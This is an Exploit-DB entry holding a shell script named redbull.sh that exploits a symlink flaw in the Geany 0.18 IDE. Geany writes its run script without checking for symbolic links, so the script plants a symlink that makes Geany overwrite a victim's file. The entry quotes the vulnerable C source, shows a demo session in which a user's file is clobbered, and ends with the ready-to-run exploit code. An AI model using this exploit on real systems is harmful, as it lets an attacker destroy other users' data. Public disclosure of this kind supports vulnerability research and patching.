Exploit-DB #10060
Description: Geany .18 - Local File Overwrite
Type: local
Platform: linux
Date: 2009-10-06
Author: Jeremy Brown

Exploit:
#!/bin/sh
# redbull.sh
# AKA
# Geany 0.18 Local File Overwrite Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 10.06.2009
#
# *********************************************************************************************************
# I was checking out some IDEs and decided on Geany. Nice interface, good features, but it doesn't defend
# against symbolic links when writing the run script used for executing files after compiliation.
#
# geany-0.18/src/build.c
#
# LINES 981-1010
#
# static gboolean build_create_shellscript(const gchar *fname, const gchar *cmd, gboolean autoclose)
# {
# 	FILE *fp;
# 	gchar *str;
# #ifdef G_OS_WIN32
# 	gchar *expanded_cmd;
# #endif
# 
# 	fp = g_fopen(fname, "w");
# 	if (! fp)
# 		return FALSE;
# #ifdef G_OS_WIN32
# 	/* Expand environment variables like %blah%. */
# 	expanded_cmd = win32_expand_environment_variables(cmd);
# 	str = g_strdup_printf("%s\n\n%s\ndel \"%%0\"\n\npause\n", expanded_cmd, (autoclose) ? "" : "pause");
# 	g_free(expanded_cmd);
# #else
# 	str = g_strdup_printf(
# 		"#!/bin/sh\n\n%s\n\necho \"\n\n------------------\n(program exited with code: $?)\" \
# 		\n\n%s\n", cmd, (autoclose) ? "" :
# 		"\necho \"Press return to continue\"\n#to be more compatible with shells like dash\ndummy_var=\"\"\nread dummy_var");
# #endif
#
# 	fputs(str, fp);
# 	g_free(str);
#
# 	fclose(fp);
#
# 	return TRUE;
# }
#
# Not a big deal since the script is generated in the working directory that Geany is executing the compiled
# program, but, none the less exploitable if the attacker can create a symbolic link in the working directory.
#
# linux@ubuntu:~$ ls -al important
# -rwx------ 1 linux linux 5 2009-10-06 14:10 important
# linux@ubuntu:~$ cat important
# *data*
# linux@ubuntu:~$
#
# hacker@linux:~$ sh redbull.sh /tmp /home/linux/important
#
# Geany 0.18 Local File Overwrite Exploit
#
# [*] Creating symbolic link from /tmp/geany_run_script.sh to /home/linux/important...
#
# [*] /home/linux/important should be overwritten when Geany executes a program in /tmp
#
# hacker@linux:~$
#
# ***** Geany executes a program in /tmp *****
#
# linux@ubuntu:~$ cat important
# #!/bin/sh
#
# rm $0
#
# "./c"
#
# echo "
#
# ------------------
# (program exited with code: $?)" 		
#
#
# echo "Press return to continue"
# #to be more compatible with shells like dash
# dummy_var=""
# read dummy_var
# linux@ubuntu:~$
#
# Due to an Ubuntu's bug reporting system handler's possible lack of zeal (they argued overwriting the
# instruction pointer in a program when parsing a file format isn't a security issue because the program
# also interepts shell commands), I'm not very excited to try and work with them too much these days...
# *********************************************************************************************************
# redbull.sh

FILE=geany_run_script.sh

if [ "$2" = "" ]; then
echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "Usage:   $0 </target/working/dir> <file.to.overwrite>"
echo "Example: $0 /tmp /home/user/important"
echo
exit
fi

echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "[*] Creating symbolic link from $1/$FILE to $2..."
ln -s $2 $1/$FILE
echo
echo "[*] $2 should be overwritten when Geany executes a program in $1"
echo
exit